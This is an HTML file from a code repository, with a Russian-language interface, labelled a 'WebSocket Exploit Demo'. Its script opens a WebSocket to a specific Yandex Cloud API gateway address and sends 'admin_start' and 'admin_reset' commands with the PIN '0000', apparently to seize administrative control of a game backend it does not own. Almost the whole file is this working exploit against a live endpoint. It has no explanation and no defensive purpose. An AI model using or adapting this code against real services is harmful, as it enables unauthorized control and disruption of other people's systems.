Exploithtml.html - master - A3435/Ieid

Exploithtml.html
30 строк4 KB
A3435
create: Exploithtml.html
20 май 2026, 10:50
20 май 2026, 10:5025cc8b1
<!DOCTYPE html>
<html>
<head><title>WebSocket Exploit Demo</title></head>
<body>
    <h1>WebSocket Origin Spoofing Demo</h1>
        <button onclick="startExploit()">Выполнить admin_start</button>
            <button onclick="resetGame()">Выполнить admin_reset</button>
                <pre id="log"></pre>
                    <script>
                            let socket;
                                    function log(msg) { document.getElementById('log').innerText += msg + '\n'; }
                                            function startExploit() {
                                                        socket = new WebSocket('wss://d5dqm900pjf807j5sb2k.iwzqm34r.apigw.yandexcloud.net/');
                                                                    socket.onopen = () => {
                                                                                    log('🔌 WebSocket соединение установлено');
                                                                                                    socket.send(JSON.stringify({ action: 'admin_start', pin: '0000' }));
                                                                                                                    log('📤 admin_start отправлен с PIN: 0000');
                                                                                                                                };
                                                                                                                                            socket.onerror = (e) => log('❌ WebSocket ошибка: ' + JSON.stringify(e));
                                                                                                                                                        socket.onmessage = (e) => log('📥 Получено: ' + e.data);
                                                                                                                                                                }
                                                                                                                                                                        function resetGame() {
                                                                                                                                                                                    if (socket && socket.readyState === WebSocket.OPEN) {
                                                                                                                                                                                                    socket.send(JSON.stringify({ action: 'admin_reset', pin: '0000' }));
                                                                                                                                                                                                                    log('📤 admin_reset отправлен с PIN: 0000');
                                                                                                                                                                                                                                } else log('❌ Соединение не установлено');
                                                                                                                                                                                                                                        }
                                                                                                                                                                                                                                            </script>
                                                                                                                                                                                                                                            </body>
                                                                                                                                                                                                                                            </html>